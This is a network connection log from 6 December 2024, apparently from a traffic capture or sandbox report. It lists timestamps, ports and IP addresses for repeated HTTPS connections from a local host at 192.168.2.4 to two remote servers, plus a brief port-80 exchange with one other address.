Dec 6, 2024 00:15:34.080779076 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.080823898 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.085270882 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.085302114 CET	443	49827	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.085359097 CET	49827	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.090295076 CET	49832	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.090332031 CET	443	49832	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.090395927 CET	49832	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.093195915 CET	49832	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.093211889 CET	443	49832	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.098114967 CET	49833	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.098141909 CET	443	49833	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:34.098198891 CET	49833	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.098365068 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.098414898 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.098436117 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.098475933 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.098772049 CET	49833	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.098783016 CET	443	49833	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:34.098893881 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.098932981 CET	443	49828	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.098974943 CET	49828	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.099841118 CET	49834	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.099872112 CET	443	49834	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:34.099921942 CET	49834	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.100086927 CET	49835	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.100115061 CET	443	49835	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:34.100161076 CET	49835	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.100869894 CET	49834	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:34.100881100 CET	443	49834	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:34.101123095 CET	49835	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:34.101135015 CET	443	49835	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:35.486543894 CET	49832	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.486712933 CET	49834	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:35.486712933 CET	49833	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:35.486716032 CET	49835	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.487087965 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.487112045 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:35.487181902 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.487945080 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.487957001 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:35.489092112 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.489114046 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:35.489181042 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.489669085 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:35.489680052 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.169528008 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.169595957 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.170166969 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.170213938 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.176282883 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.176348925 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.176685095 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.176693916 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.176894903 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.176920891 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.176939011 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.176965952 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.177675962 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.180638075 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.180645943 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.180845976 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.180890083 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.181606054 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:37.219332933 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:37.223332882 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.067892075 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.067969084 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.068100929 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.068145037 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.068269968 CET	443	49837	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.068327904 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.068341017 CET	49837	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.068754911 CET	49841	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.068799019 CET	443	49841	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.069492102 CET	49842	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.069519043 CET	443	49842	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:38.069531918 CET	49841	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.069567919 CET	49842	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.069819927 CET	49841	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.069835901 CET	443	49841	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.070321083 CET	49842	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.070329905 CET	443	49842	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:38.174058914 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.174309015 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.174323082 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.174415112 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.174428940 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.174459934 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.174597979 CET	443	49838	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.174664021 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.174664021 CET	49838	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.174951077 CET	49843	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.174973011 CET	443	49843	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:38.175100088 CET	49844	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.175110102 CET	443	49844	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:38.175127029 CET	49843	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.175162077 CET	49844	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.175353050 CET	49843	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:38.175363064 CET	443	49843	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:38.175445080 CET	49844	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:38.175452948 CET	443	49844	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:39.486691952 CET	49841	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.486726046 CET	49842	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:39.486888885 CET	49843	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:39.486908913 CET	49844	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.487692118 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.487716913 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:39.487778902 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.488606930 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.488619089 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:39.489692926 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.489712954 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:39.489763975 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.490086079 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:39.490097046 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:39.787447929 CET	80	49739	69.42.215.252	192.168.2.4
Dec 6, 2024 00:15:39.787514925 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:15:41.175672054 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.175771952 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.176059961 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.176131010 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.176316023 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.176368952 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.176692963 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.176749945 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.179464102 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.179476023 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.179682970 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.179811954 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.180154085 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.181166887 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.181174040 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.181375027 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.181442022 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.181777000 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:41.223325968 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:41.223331928 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.082633018 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.082803965 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.082814932 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.082860947 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.082927942 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.082954884 CET	443	49847	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.083009005 CET	49847	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.083519936 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.083554029 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.083620071 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.084296942 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.084311008 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.084701061 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.084765911 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.084784985 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.084834099 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.084867954 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.084891081 CET	443	49846	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.084937096 CET	49846	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.085338116 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.085369110 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.085424900 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.085618973 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:42.085633993 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:42.086172104 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.086184025 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:42.086258888 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.086461067 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.086467028 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:42.087398052 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.087405920 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:42.087471962 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.087709904 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:42.087723017 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.776304007 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.776396036 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.777053118 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.777122021 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.780297041 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.780384064 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.780625105 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.780632973 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.780880928 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.780931950 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.780936003 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.780992985 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.781336069 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.782402039 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.782412052 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.782619953 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.782665014 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.783045053 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:43.784140110 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.784214020 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.786184072 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.786264896 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787250996 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787256002 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.787453890 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.787496090 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787503004 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.787517071 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787703991 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.787755013 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787798882 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.787970066 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:43.827330112 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.827342987 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:43.831340075 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:43.835345030 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.677071095 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.677139044 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.677156925 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.677196026 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.677270889 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.677318096 CET	443	49850	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.677365065 CET	49850	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.677822113 CET	49857	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.677856922 CET	443	49857	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.677922010 CET	49857	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.678132057 CET	49857	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.678143978 CET	443	49857	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.801419973 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.801465988 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.801481009 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.801518917 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.801583052 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.801609993 CET	443	49851	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.801652908 CET	49851	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.802267075 CET	49858	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.802311897 CET	443	49858	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.802367926 CET	49858	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.802575111 CET	49858	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:44.802591085 CET	443	49858	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:44.844084024 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844132900 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.844140053 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844172955 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.844176054 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844207048 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.844212055 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844239950 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.844243050 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844264984 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.844274044 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.844300032 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.845551968 CET	49852	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.845561981 CET	443	49852	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.849263906 CET	49859	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.849278927 CET	443	49859	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:44.849350929 CET	49859	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.849543095 CET	49859	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:44.849549055 CET	443	49859	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.093028069 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.093070030 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.093183041 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.093183041 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.093199968 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.093241930 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.093861103 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.093898058 CET	443	49853	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.093954086 CET	49853	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.094383955 CET	49860	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.094413996 CET	443	49860	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.094474077 CET	49860	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.094721079 CET	49860	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.094736099 CET	443	49860	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:45.192749023 CET	49857	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.192795038 CET	49858	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.192819118 CET	49859	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.192842007 CET	49860	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:45.193352938 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.193367958 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:45.193434000 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.194520950 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.194530964 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:45.195050955 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.195079088 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:45.195136070 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.196008921 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:45.196022034 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.892205954 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.892409086 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.892843962 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.892905951 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.896162033 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.896171093 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.896368027 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.896414995 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.896789074 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.906259060 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.906337023 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.906896114 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.907090902 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.908670902 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.908680916 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.908881903 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.908929110 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.909213066 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:46.943339109 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:46.955333948 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.809093952 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.809199095 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.809221029 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.809277058 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.809362888 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.809392929 CET	443	49861	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.809448004 CET	49861	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.810038090 CET	49866	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.810072899 CET	443	49866	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.810133934 CET	49866	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.810362101 CET	49866	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.810373068 CET	443	49866	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.811331987 CET	49867	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.811364889 CET	443	49867	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:47.811427116 CET	49867	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.811625957 CET	49867	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.811638117 CET	443	49867	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:47.827980042 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.828035116 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828100920 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828142881 CET	443	49862	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.828191042 CET	49862	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828439951 CET	49868	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828478098 CET	443	49868	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.828541040 CET	49868	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828659058 CET	49869	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.828687906 CET	443	49869	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:47.828717947 CET	49868	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:47.828732967 CET	443	49868	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:47.828742981 CET	49869	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.828969002 CET	49869	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:47.828980923 CET	443	49869	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:49.205334902 CET	49866	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.205440044 CET	49867	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:49.205461979 CET	49868	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.205506086 CET	49869	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:49.206047058 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.206068039 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:49.206135035 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.206859112 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.206871033 CET	443	49871	142.250.181.14	192.168.2.4
